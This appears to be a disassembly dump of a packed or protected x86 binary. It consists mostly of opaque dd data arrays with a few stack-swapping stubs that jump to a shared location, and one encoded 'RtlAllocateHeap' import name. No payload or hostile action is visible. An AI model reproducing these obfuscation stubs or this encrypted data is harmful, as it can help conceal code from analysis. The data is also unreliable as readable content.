		dd 0D953E6D1h, 0E05B50DFh, 6BEBE25Eh, 0E0B3CC91h, 0BD6B7ACEh
		dd 476BDD67h, 0F1A3122h, 1CCF1388h, 882F9F69h, 0AD521566h
		dd 22321575h, 6716E325h, 0EAE8D9D7h, 0BE50CBB8h, 0D08573CAh
		dd 776A0A44h, 6153EFEDh, 44321561h, 11067EA5h, 0BA6EC7ABh
		dd 8DDBEC06h, 9321566h,	982E78D6h, 3506EA07h, 8CF69438h
		dd 0BD321566h, 705275A5h, 16DA743Ch, 0CA321566h, 9B9F77E5h
		dd 9A540805h, 7069AA32h, 9D49C30h, 443211A0h, 26DC9466h
		dd 96321566h, 16E3152h,	0C9CE3152h, 8E94FDFBh, 0C2CDEC60h
		dd 0E9DA9F06h, 0BBCF3B8Fh, 9D3D7599h, 6ADE95B9h, 4ECEDF61h
		dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4E8E595h, 2AA8ED96h
		dd 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h
		dd 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h,	2A382C5Eh
		dd 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h
		dd 0D554A851h, 0D7BA8660h, 9FCE2559h, 0F143277Fh, 41D832DCh
		dd 71BA8CB8h, 0C3A8EDD8h
		dd 0A2458A42h, 0D558DDAEh, 38C88260h, 2CF9C294h, 2EDF0746h
		dd 0D552053Ah, 5E0003C6h, 2A5492B8h, 0AE307515h, 0A75CDDAEh
		dd 0F2F5B8Fh, 0B0D9FB57h, 0A4E8E199h, 6FDD7BAEh, 0A25863E9h
		dd 5FABA851h, 0AA307519h, 408932DCh, 2F168CB8h,	873F24CBh
		dd 2B967513h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h
		dd 3044h, 6F59D8Dh, 34B806A6h, 89000014h, 0A606E185h, 0E806h
		dd 5580000h, 0Dh, 34E90389h, 14h, 2Dh dup(0)
		dd 0F305E983h, 0E4CB8BA4h, 0B12CD47Ah, 3F3D56BAh, 0B1325645h
		dd 0B1324547h, 85ECA57h, 9E238F4Eh, 369A64EEh, 0BAA3AD6Ch
		dd 0E589340Ch, 36D07DAh, 5DB9374Bh, 0B1325D47h,	83BB0657h
		dd 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 0A917FB23h, 25FBD7D9h
		dd 0FDF53FD5h, 0D899BDADh, 0B7342291h, 23AC7ACFh, 20AD29B7h
		dd 75FD7A1Ah, 987C2779h, 73501F41h, 11B3FFA0h, 0F305E983h
		dd 8DDB8BA4h, 0ADA24FBDh, 0D98D8D06h, 0B806AE29h, 32156644h
		dd 0E9C1CF2Bh, 0D0073102h, 4C783C8h, 60F67549h,	0A7B6C981h
		dd 0FE82572h, 61000000h, 9EC500B9h, 0CD8426E0h,	74D0F20Dh
		dd 14E8EC39h, 43000000h, 32A042E1h, 196C3AFh, 9E8D3670h
		dd 0ED9D09B8h, 5869F018h, 860F615Fh, 8,	28F0Fh,	61600000h
		dd 0C58955F5h, 242C8155h, 2BC55309h, 53090558h,	0F5D2BC5h
		dd 0A86h, 0BF666000h, 0B8665AF8h, 836165B8h, 0A61EA5BDh
		dd 9750006h, 2F9DBD83h,	740006A6h, 8B535019h, 411B8C0h
		dd 85890000h, 6A61BF9h,	0A5D39D8Dh, 0D3FF06A8h,	0BD83585Bh
		dd 6A62F9Dh, 50177400h,	411B853h, 85890000h, 6A61BF9h
		dd 0A2749D8Dh, 0D3FF06A8h, 8C0F585Bh, 16h, 9E960h, 2B080000h
		dd 1C780C52h, 81040DD7h, 3B8E41E2h, 7E96104h, 0BD000000h
		dd 9AB52A75h, 6E96E3Ah,	6A000000h, 4515AD50h, 48B506Fh
		dd 4C48324h, 0C8F0Fh, 7E90000h,	0B8000000h, 6B9AECFDh
		dd 8DF826EDh, 0AE2DFB8Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 27D6C919h
		dd 2943927Bh, 0A626B185h, 0AD8D8906h, 6A06A606h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0F819C350h, 5CEA5CD5h, 9D8943F1h, 6A61A35h, 40D85C7h
		dd 6E3406A6h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0F3FC06C3h, 146CE9C0h, 2EB5BD89h
		dd 85C706A6h, 6A60BE9h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0D0C35343h
		dd 1BD89C9h, 0FF06A607h, 0A61D19B5h, 0AD853106h, 0FF06A62Bh
		dd 0A61A7995h, 0D68B6606h, 95FF006Ah, 6A62959h,	3BEBC08Bh
		dd 0B422D9F4h, 1F889FFBh, 0EBFE256Eh, 72F3C6F7h, 7366A97h
		dd 77C683C6h, 914166Ah,	15F632D1h, 10157690h, 2D5FE87h
		dd 55478CA5h, 7E2FAE50h, 6FD73EFFh, 56D3ED06h, 0E8805EEAh
		dd 0Eh,	87D03B45h, 120E2F3Eh, 0C5A1709h, 8B6648C0h, 8D315BF9h
		dd 6A607E9h, 6A99C381h,	0E0810000h, 6FD442F0h, 68h, 7B86600h
		dd 34FF592Ah, 0BDBD8B19h, 5E06A626h, 0F28D83BFh, 6BC68129h
		dd 811E42F2h, 828913EEh, 0C7CA8143h, 8175C828h,	0F0FC6EC6h
		dd 0E9FC6038h, 8, 0BF1E8898h, 0ED0E1066h, 0B348961h, 1009B509h
		dd 9D0906A6h, 6A61871h,	0B001E983h, 494949E2h, 9E960h
		dd 0D8D40000h, 573E53Bh, 0B7339655h, 0F98161DAh, 0FFFF962Ch
		dd 19850Fh, 0BD890000h,	6A60709h, 24E9h, 5152CE00h, 57E85AFBh
		dd 42A8C7DBh, 0E9090161h, 0FFFFFF76h, 8E27739Fh, 0F5D4DFC8h
		dd 8F48B78Ch, 0C52CF095h, 0FE802h, 46CA0000h, 7DB9779h
		dd 0CDC0F715h, 0BDFDBB11h, 12E8A6h, 25200000h, 0A710F5B0h
		dd 420C7C32h, 98B5205Dh, 78578F9Ah, 6850Fh, 0B5890000h
		dd 6A60179h, 958B595Ah,	6A604E1h, 7483C181h, 0BD890000h
		dd 6A6133Dh, 9D33C02Bh,	6A62B8Dh, 0F01348Bh, 589h, 0EB816600h
		dd 0C6815352h, 247BBA2Dh, 5459D23h, 0EE8106A6h,	3A60E545h
		dd 9E8h, 6505C300h, 0BD4EBBACh,	51BB34B9h, 5A605D2Dh, 0DF37C681h
		dd 0C38171B1h, 3EB37B73h, 5E856h, 0E8D60000h, 89C27463h
		dd 0A61D4595h, 48F5F06h, 89606001h, 0A634419Dh,	0C1BD8906h
		dd 6106A61Ch, 6146D480h, 81DABF0Fh, 4651D4E8h, 0C19D8B52h
		dd 8106A62Bh, 4651D0C0h, 119D8952h, 8106A604h, 0FF8C58F8h
		dd 71850FFFh, 8BFFFFFFh, 0FE9D0h, 1A730000h, 6320h, 2 dup(0)
		dd 4FDE900h, 885D0000h,	7E68D762h, 2D3E1994h, 1DC34AC7h
		dd 0F59FA6F3h, 0FA539623h, 8805D3FDh, 0E530DE8Dh, 0D461B75Ah
		dd 6937969h, 8C259618h,	923362D9h, 875B2B77h, 0EF913C6Dh
		dd 81A1EC39h, 0CF93326Bh, 0CF9C3B25h, 57FE2F25h, 59387997h
		dd 0C87D9436h, 356A08E6h, 37231F48h, 7082AE16h,	0DF6A80A2h
		dd 0E9B4D70h, 28CE1C07h, 2CDA2C1Dh, 0D11F4E3Ah,	782E163Dh
		dd 52CE9Ah, 1B42ACB3h, 5D72DF5h, 0D671CC1Ah, 0C4FFE14h
		dd 35CCDAE2h, 0FE59C5E4h, 35CCDA55h, 0CA736F5Bh, 1D4CA6BBh
		dd 5CDD37F3h, 49CDC7E3h, 0F0FE9792h, 67D1h, 875B5100h
		dd 0E917BC1Fh, 7A5E35CCh, 0B43CFE20h, 0B3AF1B34h, 6AD8778Ah
		dd 240E35CCh, 274F6AEEh, 10EF0FEh, 0B4000000h, 0D26D835Bh
		dd 613A44B7h, 0CB70FEEAh, 5E40F913h, 786EA104h,	0ED4ED492h
		dd 35CCE444h, 43E2706Ah, 0B4B25C0Ch, 8BB2640Fh,	0F4E85D17h
		dd 3B9A966Eh, 19BCF78Eh, 0BF6DA74Bh, 4DC845AFh,	0E03A779Dh
		dd 365BFC7Ah, 2835CCE9h, 4BA7D03Ah, 30E68A39h, 0FE59E709h
		dd 35CCE955h, 0AE156F5Bh, 0C81E01B8h, 0E2ACADDCh, 885E4290h
		dd 0E950123Dh, 42511C7h, 4BF218C9h, 0AC5FB57Dh,	0E91CB526h
		dd 0A80235CCh, 0AAF823DAh, 6ED7F0FEh, 5B000000h, 3E6FB95Bh
		dd 138D297h, 0B361939Fh, 61823591h, 7735CCE9h, 3BC1AF9Bh
		dd 6272ECCBh, 6922086Ah, 35CC21F8h, 237EF4EEh, 0E9FD7864h
		dd 88785A03h, 16BB91D5h, 0FA64502Ch, 0C7668C5Dh, 0E92489DBh
		dd 8A6046FBh, 11D9EF9Eh, 2E3C67E3h, 311BF0FEh, 87000000h
		dd 787E8A7Ah, 21D94792h, 16C0EC53h, 0E335D877h,	3D5743BAh
		dd 8613C5EFh, 69835B4Ch, 0E9759130h, 0F9A135CCh, 0A4D40F8Bh
		dd 193F0FEh, 1F000000h,	3D6C865Bh, 3C3AD092h, 0B35909B6h
		dd 0CE63288Ah, 0D035CCE9h, 8BC568FAh, 227F50Fh,	38B55DE8h
		dd 9A3893DDh, 0AC3EB2D7h, 72D91736h, 0F71DCD74h, 0E2706C56h
		dd 2A678D5Dh, 0F4957F63h, 6AC73E55h, 0C32D3C33h, 9C766B9Ah
		dd 9656F1EDh, 4E40C178h, 29C7E634h, 0BD928E70h,	906C9FF5h
		dd 3EA37BADh, 4483829h,	71414C47h, 303281D3h, 48E20FA8h
		dd 1EF4336Ah, 0F49F4422h, 42F57B22h, 336A4821h,	95EFDB37h
		dd 9B7171DCh, 55BFA3E2h, 295B5734h, 0B00DE7FBh,	580528C3h
		dd 12767F6h, 1C2B0000h,	913A24E1h, 3EB2FEE5h, 2D6019F1h
		dd 7589D73Dh, 0FAA3C1CDh, 0A3FE74E9h, 422CC6E4h, 572DFBE5h
		dd 328B5FF6h, 82ECD80Eh, 96EC3A25h, 265C5637h, 811CF6F4h
		dd 58A639D0h, 54078DF6h, 336AE73Fh, 0C0BBC921h,	62h, 0CDD7A42h
		dd 95B47E6h, 0C67106FDh, 35CCE9ADh, 0D6B47B3h, 0E9BFD487h
		dd 49A135CCh, 8102B53Bh, 0D7B5CCE9h, 3554BEA8h,	6DACDDC9h
		dd 0B5CCE9C4h, 7DE81AD4h, 85B28786h, 9307B9E8h,	68D532A3h
		dd 564259CAh, 9462AF08h, 9E7435CCh, 0ACBE2503h,	946E8334h
		dd 9A7035CCh, 7103FFAEh, 7CEBh,	0DD7ABF00h, 606CE60Ch
		dd 60E1AC65h, 0A4C5837h, 67E7501Eh, 773EB267h, 0BFA3E29Bh
		dd 6D7DD855h, 9A3E687h,	45336A54h, 6F2BF70Fh, 0C49E8EC1h
		dd 0C210628Eh, 0D7BF0AE0h, 0CA71FF16h, 574BF218h, 0A209971Dh
		dd 0C33F6E84h, 0AF970EB1h, 7FE5381Ch, 984FB7DCh, 5541B938h
		dd 23C99934h, 0B4CECA7Ah, 0A96DA421h, 618EAFEFh, 4CCA9480h
		dd 2BFB35B0h, 52AE78h, 0EEB960BFh, 19C7633h, 77E11CF5h
		dd 0F3EF9E70h, 27FE5907h, 0B53EBAD9h, 0C1E12C5Dh, 0B3B79E2Bh
		dd 5BE12059h, 6F9EF4F7h, 59F4957Fh, 0DBC5648Ah,	4A24A5DFh
		dd 0E4C6146Eh, 0EB5B30Eh, 2C96B75Dh, 13F9E956h,	17FDEE55h
		dd 8884E85Dh, 6A25612Bh, 0C54A185Ah, 3C5009E7h,	9E4C9EF4h
		dd 903F3974h, 930F3ED0h, 0C97072C1h, 5648F127h,	0E4D00629h
		dd 172345h, 1E670000h, 72AABC50h, 4D923F98h, 2E8435CCh
		dd 0C0028136h, 40120EE0h, 68825B00h, 26CC9E31h,	0F325C807h
		dd 0CA243B4Ah, 86507C93h, 5284A8E7h, 2AC4E42Bh,	0E50FDC73h
		dd 0B75D0944h, 5456A496h, 4C6815Eh, 83000000h, 348704EEh
		dd 89525C24h, 4C281E2h,	81000000h, 4EAh, 24148700h, 240C895Ch
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 56242C89h, 0D234F9BEh
		dd 94EE8100h, 465E482Ch, 0D860EE81h, 0F1899BDBh, 8124348Bh
		dd 4C4h, 17BC6800h, 24890000h, 24048324h, 57515D04h, 1C3A6BBFh
		dd 247C317Eh, 458F5F04h, 8758108h, 7E1C3A6Bh, 50242C8Bh
		dd 405E089h, 5000000h, 4, 5C240487h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5527C7
; ---------------------------------------------------------------------------
		db 50h
		dd 0B82E6A3Fh, 6AE3456h, 0E0FFC503h, 279E7A71h,	7FFDF71Bh
		dd 5A62F953h, 56FE5B7h,	54CDC739h, 0D5D99DDh, 4E0206B6h
		dd 2F983CA7h, 1A848648h, 45DA0E1Fh, 3E9B182Eh, 58EC8E8Dh
		dd 4F84686h, 23244A41h,	14EEB5E9h, 2EF387D3h, 7BC200D2h
		dd 6CB27D12h, 390E0A25h, 152362EAh, 5FCEBC0Bh, 45C04238h
		dd 7CD6DB3Ah, 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 0ADB58B00h
		dd 8306A634h, 850F00FEh, 22h, 0C2985C6h, 684506A6h, 8E726969h
		dd 2F8DB5FFh, 858D06A6h, 6A97120h, 8589D0FFh, 6A61EF5h
		dd 3E80F08Bh, 31850FE9h, 8D000000h, 0ABA68A85h,	8BD0FF06h
		dd 0A60D91BDh, 84C78106h, 8B000011h, 0A634ADB5h, 0B9F78706h
		dd 8, 0B58BA4F3h, 6A634ADh, 0A362858Dh,	0D0FF06A9h, 1A09B58Bh
		dd 0FE8306A6h, 22850F00h, 0C6000000h, 0A60C2985h, 0F4685406h
		dd 0FFFF4EBEh, 0A62F8DB5h, 20858D06h, 0FF06A971h, 98589D0h
		dd 8B06A61Ah, 0E93E80F0h, 3A850Fh, 0B58B0000h, 6A61A09h
		dd 0A68A858Dh, 0D0FF06ABh, 0D91BD8Bh, 0C78106A6h, 1184h
		dd 8B08C783h, 0A61A09B5h, 0B9F78706h, 8, 0B58BA4F3h, 6A61A09h
		dd 0A362858Dh, 0D0FF06A9h, 858DC361h, 6AE356Dh,	13E18589h
		dd 17E906A6h, 42000000h, 1664C5h, 4 dup(0)
		dd 0FBE90000h, 68000004h, 6AE37C1h, 0F8471AE9h,	384068FFh
		dd 10E906AEh, 68FFF847h, 6AE39B0h, 0F84706E9h, 3E9FEFFh
		dd 35DF8FB6h, 668C5DF8h, 927C6C2Bh, 0C2143807h,	1E993477h
		dd 2E69A472h, 0F944D13Fh, 8AB500D6h, 7FE732D8h,	0DF2D46F1h
		dd 88333362h, 0EDD7A8Ah, 32D92E0h, 3D2C8BD5h, 451BAAD3h
		dd 0A5BFABh, 0BAF71DCDh, 2D8E19D4h, 35CCE984h, 0DB4030AAh
		dd 0C221B53Eh, 53D98773h, 0AFF5F1A3h, 0A2E9C9E7h, 35CC6501h
		dd 9FC82207h, 68C35123h, 3EB256EEh, 385B02F8h, 336A548Fh
		dd 1435DB89h, 5900D6F9h, 0AD5EB47Eh, 6A54990Ah,	27138F33h
		dd 0BF3B4961h, 0F6581904h, 2FE43h, 4A09CF00h, 91F8EE26h
		dd 0DD48775Ch, 0EB8B3893h, 259D35CCh, 0EF26A72Fh, 0F790D681h
		dd 6C463EB2h, 2373D8h, 8A7A36D5h, 0AAC4D408h, 3CC89AE0h
		dd 6C8536C1h, 7231C7E8h, 32C2AC98h, 5573C31Dh, 0EF750FDDh
		dd 0B9FDAE4Ch, 0A09D713Ah, 9A7F969Ch, 36AC0351h, 0C73EBF17h
		dd 9FD63E99h, 0EEC43403h, 3051FA80h, 26249B1Fh,	8328B6CCh
		dd 0AA4066DFh, 62463BEh, 0BC897BECh, 6F1E8AE6h,	30809h
		dd 27CD9A00h, 51BBA3EAh, 826879C4h, 0B6580837h,	0E630DC7Bh
		dd 32BD10ABh, 0C24DD80Eh, 95B00DE3h, 0A6E13CEAh, 53D36E84h
		dd 0DEF96ACDh, 0BCEF3362h, 5BFC7AE6h, 35CCE936h, 0EA07B038h
		dd 0FC35CCE9h, 0AC582A06h, 2D8AD431h, 4AB4D503h, 1701AA38h
		dd 523EBADFh, 6F1EF4F5h, 6842E173h, 69BFA10Eh, 994F71DCh
		dd 0DE07A1E0h, 85223362h, 0A31F4EA4h, 0AA4062D1h, 907BD935h
		dd 5D9BAA95h, 289h, 1DA8421Bh, 43DE3432h, 0B00DE7C4h, 0EC39D795h
		dd 0DC69BFA1h, 9D87308Dh, 9057FE4Bh, 7964237Eh,	372B12AFh
		dd 5CE240DDh, 62D156FBh, 152D5833h, 3A24E11Ch, 0BADF8791h
		dd 46E7D33Eh, 62DFEA03h, 0A7DD9533h, 9740CE54h,	3362DF7Ah
		dd 0ACC5766Ch, 0A23362DFh, 0C23C6D83h, 0CE273D95h, 0F6509E13h
		dd 19A52h, 86A50200h, 0B7CD3168h, 6D875BFBh, 3FD1913Ch
		dd 72FA8794h, 0D00629B2h, 0D5BD08E4h, 0D473FD18h, 0FA68FA14h
		dd 0B2599151h, 3C6D453Eh, 6A54709Dh, 11630F33h,	8B6145E2h
		dd 7FF51FCCh, 58156B86h, 7670DFF6h, 69ADC69Ch, 15000000h
		dd 3A24E11Ch, 0AB0A40BCh, 9F7AE566h, 621BCDF0h,	0A951E270h
		dd 7C3EB284h, 9EF5780h,	354F1E85h, 0BC3A249Eh, 236C8536h
		dd 9872336Ah, 6A235EF3h, 186A4033h, 0F09C3BB5h,	0A2B1622h
		dd 9874669Ch, 0E1DC49CAh, 97A3336Ah, 218E7Dh, 0E1923F98h
		dd 2E84336Ah, 0DD970B32h, 58AC8920h, 0D5963DF6h, 9A4A253Fh
		dd 0C8000000h, 0C69875Bh, 44220275h, 0D07F2E1Ah, 0C43FA2Ch
		dd 7A95B45Eh, 4378268h,	35CC4189h, 28831BCFh, 35CC5DBBh
		dd 0CC5935ADh, 204EC706h, 5D90319Ah, 2C8635CCh,	9F6FC856h
		dd 3F3EB4F8h, 123EA5C3h, 40EF49C4h, 0EDD18862h,	0D2042897h
		dd 955B876Dh, 2F49FC95h, 119h, 8D18F2EBh, 0F34EA482h, 207D9754h
		dd 1CA94765h, 4CD90F31h, 6D17A03Dh, 276EBBh, 0C9F453EEh
		dd 0A7BB821Fh, 0EC72F04Dh, 62D0264Bh, 859DC833h, 0B633DD7Ah
		dd 11635FB5h, 0DD68BEA2h, 0F9A7072h, 33DD7AF3h,	85A44E5h
		dd 1C4DA7BBh, 9E48F1F1h, 0FDE9D574h, 0B923A2A0h, 0F6945ABh
		dd 0B238D6ACh, 6402F83Eh, 0CF7271DEh, 574BF224h, 0B65AE97Bh
		dd 0B6590660h, 0D15F1260h, 0DF957B6Ah, 6AA6D37Ch, 0FF15D533h
		dd 2FF99BA2h, 8BFE7Eh, 1CA20000h, 913A24E1h, 3EBADF9Bh
		dd 2A58E7DFh, 0EA9D6A4Eh, 22004FFEh, 10D27DC8h,	560043FAh
		dd 30223796h, 30DA8C31h, 0C6EA2544h, 7266910h, 4EB0E9h
		dd 1D0B8AF8h, 860CFF15h, 0B599BCD5h, 3A48A222h,	313FD595h
		dd 1435DB8Ah, 0BE99D8AAh, 4E7042ACh, 9599BFACh,	9F4D80B9h
		dd 0DBE1C575h, 53FC9C72h, 0C638618Bh, 0D71DB3EAh, 83B88D3Fh
		dd 6BF985FFh, 0CB9F4D47h, 0B9A99421h, 0AB22A53h, 44000000h
		dd 7A23F59Fh, 1EB6CA98h, 68825B82h, 26CC9E31h, 0F325C807h
		dd 0CA243B4Ah, 86507C93h, 5284A8E7h, 2AC4E42Bh,	0E50FDC73h
		dd 0B75D0944h, 0E668A496h, 89000078h, 0BB532424h, 4, 4245C01h
		dd 0E689565Bh, 4C681h, 0EE830000h, 24348704h, 242C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		mov	eax, 6AE36A5h
		push	eax
		pop	ebp
		pop	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	edi
		mov	edi, 4AD40CF8h
		sub	[esp+4], edi
		pop	edi
		pop	dword ptr [eax+8]
		add	dword ptr [eax+8], 4AD40CF8h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5527C7
; ---------------------------------------------------------------------------
		db 51h,	89h, 26h
		dd 0D515FD23h, 25263377h, 0EEB8A5A6h, 306AE3Ah,	9AE0FFC5h
		dd 0BA761722h, 5C14997Dh, 2133867Bh, 722BBFECh,	4D67B08Eh
		dd 8A02DA02h, 585B908Ah, 6E23D7CFh, 0C853B22Fh,	3F45700Bh
		dd 52629BAEh, 0F85505C4h, 244C7817h, 2B8F05h, 4609B825h
		dd 0F77B7C7Fh, 3B6610BCh, 0BA701685h, 133BEFB0h, 8F1F6634h
		dd 0B662161Dh, 0E1572930h, 7F24897Ah, 0AA2FA143h, 460127FCh
		dd 8D36EEB1h, 0AE3CC88Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0E6BE5137h
		dd 5A68C99Fh, 6AD8D89h,	953106A6h, 6A62CB5h, 40D85C7h
		dd 6FF806A6h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 87F178C3h, 39BE5209h, 586D47DEh
		dd 0BE985C7h, 6A6h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 190424h, 57470000h, 4C4012C3h, 8B4730E9h
		dd 0A634A985h, 0A1B5FF06h, 0E906A632h, 6, 728E319Bh, 95FFB224h
		dd 6A61A79h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	62C35545h, 8B96B8C5h, 0FF006AF9h, 0A6295995h, 0EBC08B06h
		dd 0E352E05Fh, 99AB9F54h, 0C15FB916h, 0D0FE0851h, 3FA81A40h
		dd 65A00B72h, 15B5A759h, 9A8EA95Dh, 33AF6225h, 0B773DDEh
		dd 31FA9977h, 69E907DFh, 0BCF0F39h, 834F152Fh, 0B2490C19h
		dd 6F9DC34Ch, 0FC36918Ch, 658D0703h, 76390EA4h,	6CB7907Ch
		dd 2E584A4Ah, 2DD35230h, 0AD730D34h, 0FD073306h, 34E9h
		dd 0AD4FFA00h, 6C745250h, 6F6C6C41h, 65746163h,	70616548h
		dd 14000000h, 7	dup(0)
		dd 1130E900h, 56680000h, 0E906AE3Fh, 0FFF84037h, 0AE404968h
		dd 402DE906h, 9D68FFF8h, 0E906AE42h, 0FFF84023h, 0AE438168h
		dd 4019E906h, 0BE68FFF8h, 0E906AE46h, 0FFF8400Fh, 0AE474668h
		dd 4005E906h, 8568FFF8h, 0E906AE47h, 0FFF83FFBh, 0AE489168h
		dd 3FF1E906h, 7368FFF8h, 0E906AE49h, 0FFF83FE7h, 0AE4A0368h
		dd 3FDDE906h, 0FE68FFF8h, 0E906AE4Bh, 0FFF83FD3h, 0AE4D2868h
		dd 3FC9E906h, 0ACB9FFF8h, 9A4CCB46h, 491A2570h,	392F16A3h
		dd 0D1F35AD7h, 0DE7F8A07h, 0ACF92FD1h, 912CC2E1h, 0C05D8BB6h
		dd 328F6545h, 9809A22Ch, 8E3362D4h, 875BC75Bh, 5CB03C6Dh
		dd 5D8912A7h, 963D3700h, 0C7426DD4h, 60520BDDh,	0FDE9D574h
		dd 6B598373h, 6BA1F957h, 0B7D6002Ch, 7994394Bh,	0B7D98056h
		dd 1AEA196Bh, 0E67D008Fh, 49F68C15h, 0EA3C2099h, 0C6534FB3h
		dd 3683557Fh, 88B15B0Fh, 328F6545h, 0EA74914Ch,	4E53821Ah
		dd 0D6AC93C4h, 7BE3EF48h, 4ABA3EB2h, 0B76F1601h, 54CB99B7h
		dd 37B0D7Ah, 0E5D189F7h, 0DC832844h, 769F2032h,	9336A9Fh
		dd 7BE01361h, 0E3DF8E58h, 0DE5D7491h, 63E9F658h, 6A975BC8h
		dd 1F554D33h, 3A64h, 0E11C2E00h, 0E9913A24h, 8D3EB2D8h
		dd 53F87415h, 0ABEC66B0h, 336AC602h, 0C01FF77Dh, 0D19BB62Ch
		dd 22AC48D1h, 789E3132h, 0F9E5846Eh, 59AB770Dh,	58D226DDh
		dd 0B365F6h, 5B2D0000h,	913C6D87h, 55403DEFh, 0ED75A36h
		dd 160E2E46h, 0AC9813C8h, 28D473FDh, 0BDF64FEh,	5515B8E1h
		dd 6614FAECh, 0E60DBA5Bh, 0D3722B07h, 5A44E50Fh, 1427726Eh
		dd 35CCC498h, 0B1B50CDEh, 6BD26F5Bh, 0E6EC9D77h, 97402EE7h
		dd 3EB2FB2Fh, 8F643BFh,	853630CDh, 38121784h, 0C976F0EAh
		dd 99A4F127h, 6BBE21F7h, 7C8EEFABh, 0EB5AFC9h, 580D0000h
		dd 0ED867B2h, 0FDEEA9E4h, 0ADB39A17h, 0A54FF643h, 4AE32673h
		dd 0D85583ADh, 35806E7Dh, 64B1670Ah, 56E309D9h,	7C9546C8h
		dd 623362D6h, 0B95B7BC7h, 6233EC6Bh, 736F9FB5h,	0F24B1F26h
		dd 922F1BF1h, 0CDD7A58h, 0B35F47E6h, 0A90F9939h, 739BE9C5h
		dd 76DD9B72h, 4A79F75h,	830B7A6Eh, 76E14F05h, 3EB29744h
		dd 49F6706Ah, 48FD779Dh, 6A969C09h, 0BDD7E333h,	58DB8239h
		dd 0ACC1F6h, 5B410000h,	913C6D87h, 90466AEFh, 6019F5E9h
		dd 0CCEEE721h, 9344C235h, 35CCEC7Eh, 4BF88A60h,	75F37D97h
		dd 0CCECA1C2h, 1D5BB735h, 0CCEC09BAh, 0D1A31F35h, 5FB5B590h
		dd 0BB25A02Eh, 0A74D19A4h, 79201C86h, 6CCFA985h, 3EB2D192h
		dd 9373CE24h, 1ABDBB52h, 38127B32h, 0A70C6A40h,	622A6FBDh
		dd 62D80A20h, 701C3B76h, 6AEC41A6h, 42C38EF0h, 0DC22Ah
		dd 0BF551200h, 0E903DB62h, 1AF0F15Ch, 4EA0808Fh, 7EA854F3h
		dd 0AA459823h, 7AC55086h, 0D08856Bh, 0DE79B462h, 0CBABE60Ch
		dd 0A9719245h, 0C4673362h, 6FB95B7Eh, 9D776BD2h, 0DD7AF600h
		dd 2B45E432h, 0CCE96380h, 0A19D7535h, 947E6CD3h, 62885AF5h
		dd 58867E04h, 0CA580C8Ah, 64F21F3Ch, 0EE435CCh,	0F11E3D74h
		dd 0F735CC64h, 224D1DF3h, 857D9754h, 3A16FA3Ch,	1A82A0EFh
		dd 0CCFB10B1h, 0B0AC0635h, 628F28B6h, 7435CCFBh, 2E61C49Eh
		dd 0D6B7D63Ch, 7674A6DCh, 0B950019Ch, 0F8F0FEB6h, 0C8h
		dd 24E11CBAh, 6D17BC3Ah, 0C96282BBh, 35CCE958h,	0EA78544Eh
		dd 0B2FF59A9h, 0F4950D3Eh, 6AFF3855h, 0C02E3E33h, 98767699h
		dd 0C133FFE1h, 40B27E40h, 0E95414B3h, 776B12F8h, 57F0E29Bh
		dd 8E57F91h, 0F658BED1h, 7F90h,	3F571200h, 7835CCE9h, 2859F27Dh
		dd 3E35CCE9h, 2D8EE8C4h, 3EB2F9DDh, 0A08C19F1h,	0F910B11Ah
		dd 8437336Ah, 336AF96Fh, 0A7EE9971h, 0C33F6E80h, 0A369DD7h
		dd 1CCE56AEh, 0F6527E42h, 6A952C45h, 0ECD83233h, 7D9855BDh
		dd 82AE58F3h, 42B83814h, 73A548F7h, 401FCCAh, 7377DC5Ah
		dd 0DE48CB99h, 0C833FE56h, 3F2F94D2h, 134AA086h, 0E0A1B3AFh
		dd 8F18Ch, 0DF780600h, 263E46B2h, 7C344EA4h, 3A24E11Ch
		dd 7A23C99Dh, 0F364CA98h, 3EB2D6FBh, 5CFF85E3h,	336AC437h
		dd 198AC139h, 0F336AC4h, 33B9A793h, 6AC46B98h, 0CF857D33h
		dd 0C4923B5Eh, 0C5ED336Ah, 0D1973CCFh, 0DE940E3Fh, 58858C27h
		dd 16CBF6h, 7A770000h, 5A64368Ah, 0CF8574CBh, 0CCB4234Ch
		dd 7E07635h, 0B8FFFFFCh, 3A24E11Ch, 0B2EF4991h,	25961C3Eh
		dd 336AEF8Ch, 31163C92h, 0E51E2B7Ah, 0EAC47B09h, 16227EEh
		dd 5E0FFBA4h, 6ACB923Bh, 0CFC5ED33h, 588A904Bh,	0ACBD1AF6h
		dd 0A7530C46h, 0DF000004h, 9E5F2B09h, 0D873F967h, 35CCE9ABh
		dd 0A10F45BDh, 0B2F5B036h, 0F84CA63Eh, 35D65953h, 109B5AC5h
		dd 0A7D40AA7h, 0CAA61C85h, 0CFFB0BACh, 27938ED9h, 3DD39239h
